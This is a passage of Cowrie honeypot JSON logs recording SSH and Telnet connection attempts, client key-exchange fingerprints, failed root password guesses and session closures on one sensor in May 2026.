{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":22249,"dst_ip":"10.17.0.5","dst_port":22,"session":"73052ce100a0","protocol":"ssh","message":"New connection: 223.197.186.7:22249 (10.17.0.5:22) [session: 73052ce100a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:32.319911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:32.324832Z","src_ip":"223.197.186.7","session":"73052ce100a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:32.559181Z","src_ip":"223.197.186.7","session":"73052ce100a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"benny123","message":"login attempt [root/benny123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:33.501685Z","src_ip":"223.197.186.7","session":"73052ce100a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:34.734482Z","src_ip":"223.197.186.7","session":"73052ce100a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.30603528022766,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:39.164668Z","src_ip":"152.42.224.71","session":"58e11d968ce9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.58033323287964,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:39.802673Z","src_ip":"152.42.224.71","session":"568ea0a59f1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55590,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecbe007d89a9","protocol":"telnet","message":"New connection: 152.42.224.71:55590 (10.17.0.5:23) [session: ecbe007d89a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:40.638248Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55604,"dst_ip":"10.17.0.5","dst_port":23,"session":"e476c30d0cce","protocol":"telnet","message":"New connection: 152.42.224.71:55604 (10.17.0.5:23) [session: e476c30d0cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:42.674919Z"}
{"eventid":"cowrie.session.closed","duration":45.79023551940918,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:43.119902Z","src_ip":"152.42.224.71","session":"72ef1f5f99e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.7941210269928,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:43.249819Z","src_ip":"152.42.224.71","session":"4a3848014f9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":101.52158260345459,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:55.160970Z","src_ip":"152.42.224.71","session":"2d44c49b2690","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37692,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dd17fcba78a","protocol":"telnet","message":"New connection: 152.42.224.71:37692 (10.17.0.5:23) [session: 7dd17fcba78a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:55.997112Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":35654,"dst_ip":"10.17.0.5","dst_port":22,"session":"57103e11ed04","protocol":"ssh","message":"New connection: 43.133.148.170:35654 (10.17.0.5:22) [session: 57103e11ed04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:57.360611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:57.369257Z","src_ip":"43.133.148.170","session":"57103e11ed04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:57.618427Z","src_ip":"43.133.148.170","session":"57103e11ed04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:58.644209Z","src_ip":"43.133.148.170","session":"57103e11ed04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":50294,"dst_ip":"159.203.135.109","dst_port":22,"session":"8063082f129d","protocol":"ssh","message":"New connection: 147.45.197.250:50294 (159.203.135.109:22) [session: 8063082f129d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:59.357228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:59.362571Z","src_ip":"147.45.197.250","session":"8063082f129d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:59.453030Z","src_ip":"147.45.197.250","session":"8063082f129d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikita2004","message":"login attempt [root/nikita2004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:59.722615Z","src_ip":"147.45.197.250","session":"8063082f129d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:59.895583Z","src_ip":"43.133.148.170","session":"57103e11ed04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37694,"dst_ip":"10.17.0.5","dst_port":23,"session":"695109430e3f","protocol":"telnet","message":"New connection: 152.42.224.71:37694 (10.17.0.5:23) [session: 695109430e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:07:59.901068Z"}
{"eventid":"cowrie.session.closed","duration":0.39598512649536133,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:00.296962Z","src_ip":"152.42.224.71","session":"695109430e3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.646378040313721,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:00.643375Z","src_ip":"152.42.224.71","session":"7dd17fcba78a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37700,"dst_ip":"10.17.0.5","dst_port":23,"session":"d406553b2c2a","protocol":"telnet","message":"New connection: 152.42.224.71:37700 (10.17.0.5:23) [session: d406553b2c2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:00.775707Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:00.815019Z","src_ip":"147.45.197.250","session":"8063082f129d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":60884,"dst_ip":"10.17.0.5","dst_port":22,"session":"76eef148127f","protocol":"ssh","message":"New connection: 43.245.98.60:60884 (10.17.0.5:22) [session: 76eef148127f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:01.624866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:01.629902Z","src_ip":"43.245.98.60","session":"76eef148127f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:01.876505Z","src_ip":"43.245.98.60","session":"76eef148127f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PAssword@123","message":"login attempt [root/PAssword@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:02.893566Z","src_ip":"43.245.98.60","session":"76eef148127f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:04.142451Z","src_ip":"43.245.98.60","session":"76eef148127f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54692,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bab4af901b7","protocol":"telnet","message":"New connection: 152.42.224.71:54692 (10.17.0.5:23) [session: 1bab4af901b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:08.709293Z"}
{"eventid":"cowrie.session.closed","duration":120.0037202835083,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:10.784703Z","src_ip":"152.42.224.71","session":"fa601ce77481","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00361394882202,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:13.121004Z","src_ip":"152.42.224.71","session":"fbd98c5af7bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44844,"dst_ip":"10.17.0.5","dst_port":23,"session":"38a6249f7286","protocol":"telnet","message":"New connection: 152.42.224.71:44844 (10.17.0.5:23) [session: 38a6249f7286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:16.250774Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":51879,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f1124d19495","protocol":"ssh","message":"New connection: 223.197.186.7:51879 (10.17.0.5:22) [session: 2f1124d19495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:17.398433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:17.403198Z","src_ip":"223.197.186.7","session":"2f1124d19495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:17.630624Z","src_ip":"223.197.186.7","session":"2f1124d19495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.01564002037048,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:17.653788Z","src_ip":"152.42.224.71","session":"ecbe007d89a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":93.48718452453613,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:17.930676Z","src_ip":"152.42.224.71","session":"9995f591e9d6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"pay","message":"login attempt [root/pay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:18.583434Z","src_ip":"223.197.186.7","session":"2f1124d19495","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:19.805415Z","src_ip":"223.197.186.7","session":"2f1124d19495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44856,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f1c0b2c1421","protocol":"telnet","message":"New connection: 152.42.224.71:44856 (10.17.0.5:23) [session: 7f1c0b2c1421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:24.004589Z"}
{"eventid":"cowrie.session.closed","duration":41.81230854988098,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:24.487105Z","src_ip":"152.42.224.71","session":"e476c30d0cce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":55390,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4d04205407c","protocol":"ssh","message":"New connection: 124.109.2.211:55390 (10.17.0.5:22) [session: b4d04205407c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:39.372576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:39.380514Z","src_ip":"124.109.2.211","session":"b4d04205407c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:39.638615Z","src_ip":"124.109.2.211","session":"b4d04205407c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2025","message":"login attempt [root/2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:40.661591Z","src_ip":"124.109.2.211","session":"b4d04205407c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:41.934976Z","src_ip":"124.109.2.211","session":"b4d04205407c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.92413282394409,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:43.633286Z","src_ip":"152.42.224.71","session":"1bab4af901b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.071928024291992,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:46.076410Z","src_ip":"152.42.224.71","session":"7f1c0b2c1421","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44050,"dst_ip":"10.17.0.5","dst_port":23,"session":"6196701bcbea","protocol":"telnet","message":"New connection: 152.42.224.71:44050 (10.17.0.5:23) [session: 6196701bcbea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:48.245861Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44066,"dst_ip":"10.17.0.5","dst_port":23,"session":"471aeedb8a9e","protocol":"telnet","message":"New connection: 152.42.224.71:44066 (10.17.0.5:23) [session: 471aeedb8a9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:48.291681Z"}
{"eventid":"cowrie.session.closed","duration":113.3326325416565,"message":"Connection lost after 113 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:08:52.991578Z","src_ip":"152.42.224.71","session":"b6a64c9146b0","protocol":"telnet"}
